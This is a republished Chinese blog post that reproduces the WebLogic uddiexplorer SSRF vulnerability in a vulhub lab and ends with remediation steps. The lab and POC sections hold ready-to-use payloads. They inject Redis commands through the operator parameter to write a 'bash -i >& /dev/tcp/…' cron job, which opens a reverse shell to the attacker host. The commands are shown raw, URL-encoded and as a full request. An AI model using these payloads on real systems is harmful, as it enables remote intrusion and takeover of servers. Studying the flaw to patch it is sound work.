前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Weblogic SSRF漏洞[通俗易懂]

Weblogic SSRF漏洞[通俗易懂]

作者头像
全栈程序员站长
发布2022-09-07 12:32:02
9900
发布2022-09-07 12:32:02
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

1.漏洞描述

weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

2.影响版本

weblogic 10.0.2 – 10.3.6版本

3.POC

http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

http://192.168.42.145:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc

4.漏洞环境

靶机:192.168.42.145

Redis容器:172.25.0.2

Kali:192.168.42.138

5.漏洞复现

切换到vulhub/weblogic/ssrf文件夹

docker-compose up –d下载weblogic漏洞环境

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

访问Weblogic http://192.168.42.145:7001/console/login/LoginForm.jsp

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

SSRF漏洞位于http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search按钮,用burp抓包

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

如果指定端口开放则会返回带有404内容的提示

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

访问的端口不开放则会出现“not connect over”内容提示

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

也可利用GET请求,payload:192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001,用burp抓包

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

docker exec -it 5b95be683f16 /bin/bash 进入容器,查看ip

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

探测redis容器

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

6.注入HTTP头,利用Redis+SSRF漏洞反弹shell

发送三条redis命令,将反弹shell脚本写入/etc/crontab

代码语言:javascript
复制
test 


set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.42.138/1919 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab save 


aaa

将这三条命令进行URL编码

代码语言:javascript
复制
%74%65%73%74%20%20%0a%20%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%32%2e%31%33%38%2f%31%39%31%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%20%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%20%73%61%76%65%20%20%0a%20%0a%61%61%61
Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

复制到operator参数后执行,看响应成功执行这三条命令

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

也可直接执行如下payload:

代码语言:javascript
复制
http://192.168.42.145:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.42.138%2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

等待一会,成功反弹shell

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

查看redis容器的/etc/crontab,命令被成功写到crontab中

Weblogic SSRF漏洞[通俗易懂]
Weblogic SSRF漏洞[通俗易懂]

7.修复方案

方法一:

删除uddiexplorer文件夹

限制uddiexplorer应用只能内网访问

方法二:

将SearchPublicRegistries.jsp直接删除

方法三:

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

3)用winrar等工具打开uddiexplorer.war;

4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

5)保存后上传回服务端替换原先的uddiexplorer.war;

6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/152804.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年6月2,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.漏洞描述
  • 2.影响版本
  • 3.POC
  • 4.漏洞环境
  • 5.漏洞复现
  • 6.注入HTTP头,利用Redis+SSRF漏洞反弹shell
  • 7.修复方案
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档